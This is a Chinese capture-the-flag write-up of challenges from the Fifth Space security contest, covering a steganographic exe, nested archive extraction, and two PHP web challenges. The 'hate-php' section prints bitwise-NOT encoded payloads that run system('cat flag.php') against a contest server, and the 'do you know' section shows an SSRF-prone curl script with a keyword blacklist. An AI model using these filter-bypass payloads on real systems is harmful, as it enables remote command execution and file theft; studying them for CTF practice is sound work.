第五空间智能安全大赛复现

第五空间智能安全大赛

Misc

run

下载下来为一个exe文件,但是长得很奇怪,点开竟然显示为word,里面内容显示为Error!!!

先去kali binwalk查看有没有文件隐藏

里面东西蛮多的,先直接foremost分离

output里面直接有一个zip,这里点击run.exe自动生成了一个tif,这个搜索为一种图像文件格式,最开始是直接加png也可以实现,但是还是保留默认选择加后缀为.tif

一张奔向厕所图

看着就很奇怪,最开始想的是在Stegslove里面转色域或者看对比,但都不行,文件头也没有问题。

winhex里面看有提示在尾端,进行run操作

njCp1HJBPLVTxcMhUHDPwE7mPW

那么就应该是图层问题,ps

这里隐藏着一段代码,结合前面应该是将前面的内容在这里面的代码进行run

做题的时候大概就到这了,但是写脚本能力太差了,先借用一下

a = 'njCp1HJBPLVTxcMhUHDPwE7mPW'
flag = ""
for i in range(len(a)):
    if i % 2 == 0:
        flag += chr(ord(a[i]) - 1)
    else:
        flag += chr(ord(a[i]) + 1)
print flag

#mkBq0IICOMUUwdLiTICQvF6nOX

In [46]: s = 'njCp1HJBPLVTxcMhUHDPwE7mPW'
In [47]: res = ''
In [48]: for i in xrange(len(s)):
 ...: if i % 2 == 0:
 ...: res += chr(ord(s[i]) - 1)
 ...: else:
 ...: res += chr(ord(s[i]) + 1)
 ...:

flag{mkBq0IICOMUUwdLiTICQvF6nOX}

loop

循环,看文件基本发现是在zip和我tar轮着加密的,写一下脚本

import os
import shutil
import time

def scan_file():
    files = os.listdir()
    for f in files:
        if f.endswith('file'):
            return f
def unzip_it(f):
    if f[0:3]=='tar':
        os.rename(f,f+'.tar')
        target_path = './'
        print(type(f))
        shutil.unpack_archive(f+'.tar', target_path)
        os.remove(f+'.tar')
    if f[0:3]=='zip':
        os.rename(f,f+'.zip')
        target_path = './'
        print(type(f))
        shutil.unpack_archive(f+'.zip', target_path)
        os.remove(f+'.zip')
while True:
    zip_file = scan_file()
    print(zip_file)
    if zip_file:
        unzip_it(zip_file)
import os
for i in range(1000):
 os.system('unzip -o zipfile; tar xf tarfile; sha1sum tarfile')

但是我还是不会因为脚本不是我自己写的,难受,挂着真不会

hate-php

cat flag.php

取反的脚本

#__coding:utf-8__
def qufan(shell):
	for i in shell:
		hexbit=''.join(hex(~(-(256-ord(i)))))
		print (hexbit.replace('0x','%'),end='')
qufan('system')
print('	')
qufan('cat flag.php')

http://121.36.74.163/?code=(~ %8D%9A%9E%9B%99%96%93%9A)((~ %99%93%9E%98%D1%8F%97%8F))

%8c%86%8c%8b%9a%92
%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f

view-source:http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)
(${%a7%ae%ac%ac^%f8%e9%e9%f8}{%a7})&%a7=cat%20flag.php

do you know

<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);
我什么都没有~

猜你喜欢

转载自www.cnblogs.com/waterxx/p/13204541.html